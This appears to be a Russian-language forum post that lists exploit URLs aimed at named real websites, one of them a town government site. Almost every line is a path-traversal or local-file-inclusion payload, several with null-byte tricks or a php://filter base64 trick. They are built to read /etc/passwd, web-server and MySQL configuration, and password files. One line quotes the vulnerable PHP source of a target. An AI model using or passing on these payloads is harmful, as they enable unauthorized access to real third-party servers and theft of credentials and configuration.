http://allrus.info/APL.php?h=/../../../../../../etc/logrotate.d/vsftpd.log http://allrus.info/APL.php?h=/../../../../../../etc/httpd/conf/httpd.conf http://allrus.info/APL.php?h=/../../../../../../etc/passwd http://allrus.info/APL.php?h=/../../../../../../etc/my.cnf
http://www.fria.com.au/fria.php?page=../../../../../../../../../home/rirdc/.htpasswds/test/admin/passwd
http://www.summer-fun.info/ru/index.php?pageid=php://filter/convert.base64-encode/resource=index Декодим из Base64 и читаем код индекса
http://metanohi.org/browse/no-js.php?u=../../../etc/passwd с лева читалка всех файлов.. уязвимый код: browse/no-js.php PHP: <?php $qu = $_GET['u']; $qp = $_GET['p']; $horsa = ''; if ($qu) $horsa = "u=$qu"; if ($qp == 'h') { $horst = 'Show'; $extrastyle = '#name, #text {left:0}'; } else { $horsa .= "&p=h"; $horst = 'Hide'; } if ($qp != 'h') { include('../lib/dirlst.php'); $l = new dirlst(); $lr = $l->getraw(); $tt = "<ul>\n"; $path = array(); function add($arr) { global $tt, $path; while ($c = current($arr)) { $key = key($arr); $carr = $arr[$key]; if ($key != '*files*') { $path[sizeof($path)] = $key; $tt .= "<li><p>$key</p><ul>"; if (is_array($carr)) add($carr); $files = $arr[$key]['*files*']; if (is_array($files)) { $spath = implode('/', $path) . '/'; if (sizeof($arr[$key]) > 1) $tt .= "<div class='eh'> </div>"; foreach ($files as $file) { $addr = $spath . $file; if (substr($file, strlen($file) - 1, 1) != '~') $tt .= "<li><a href='?u=$addr'>$file</a></li>"; } } array_splice($path, sizeof($path) - 1); $tt .= "</ul></li>"; } next($arr); } } add($lr); $tt .= "<div class='eh'> </div>"; foreach ($lr['*files*'] as $file) { if (substr($file, strlen($file) - 1, 1) != '~') $tt .= "<li><a href='?u=$file'>$file</a></li>"; } $tt .= "</ul>"; } $name = $_GET['u']; if (!$name) { $name = 'vijuv'; $namet = '#'; $nametp = '#'; } else { $namet = "../$name"; $nametp = "../:$name"; } $text = include('get.php'); if (!$text) $text = 'Click on a filename in the left pane to show the content of that file.'; ?>
http://townofryeny.gov:80/index.php?act=downloads&file_name=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
http://www.sexpistolsofficial.com/index.php?module=../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00
http://integ625.rsjp.net/file.php?id=../../../../../../../../etc/passwd http://www.technicalfacilitation.com/get.php?link=../../../../../etc/passwd%00
http://www.wa-mongols.org/site/index.php?option=com_jesubmit&view=../../../../../../../../../../etc/passwd%00&Itemid=4 http://www.protectedchildren.org/index.php?option=com_jesubmit&view=../../../../../../../../../../etc/passwd%00&Itemid=58
Тиц 90,PR 4 http://gati-online.ru/index.php?option=com_ckforms&controller=../../../../../../../../etc/passwd%00
